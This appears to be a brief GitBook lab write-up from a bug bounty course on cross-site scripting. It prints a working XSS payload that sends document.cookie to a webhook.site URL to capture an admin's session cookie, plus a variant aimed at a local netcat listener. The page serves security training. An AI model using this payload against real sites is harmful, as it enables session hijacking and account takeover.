> For the complete documentation index, see [llms.txt](https://kyou00.gitbook.io/xyz/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://kyou00.gitbook.io/xyz/tcm/practical-bug-bounty/labs/xss-0x03.md).

# XSS 0x03

First we will send the cookie in our webhook

{% code overflow="wrap" %}

```
<script>var i = new Image; i.src="https://webhook.site/b5ffbf17-8bfe-4b0f-8361-2d5d4ed67a83/?"+ document.cookie;</script>
```

{% endcode %}

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2F2Mrq8MsASyvVhWvWGRgX%2Fimage.png?alt=media&amp;token=3dd79701-c00e-4d00-8f53-f9c895dade28" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2F8b6kXgqRMVww8BqaAQ9O%2Fimage.png?alt=media&amp;token=8f5f71fa-72ee-4070-aa0c-8c2fcde78bd3" alt=""><figcaption></figcaption></figure>

Now we see the admin cookie

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2F9n4fcS5OiNUQAX0Jsk0f%2Fimage.png?alt=media&amp;token=585494ac-9cef-4342-bd26-2c21884331c3" alt=""><figcaption></figcaption></figure>

or we could use netcat

{% code overflow="wrap" %}

```
<script>var i = new Image; i.src="http://localhost:1234"</script>
```

{% endcode %}

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2Fe3dqkFPzytZjpgPSLisI%2Fimage.png?alt=media&amp;token=c1370bb3-1deb-40d1-9c7f-e6ff93a81714" alt=""><figcaption></figcaption></figure>
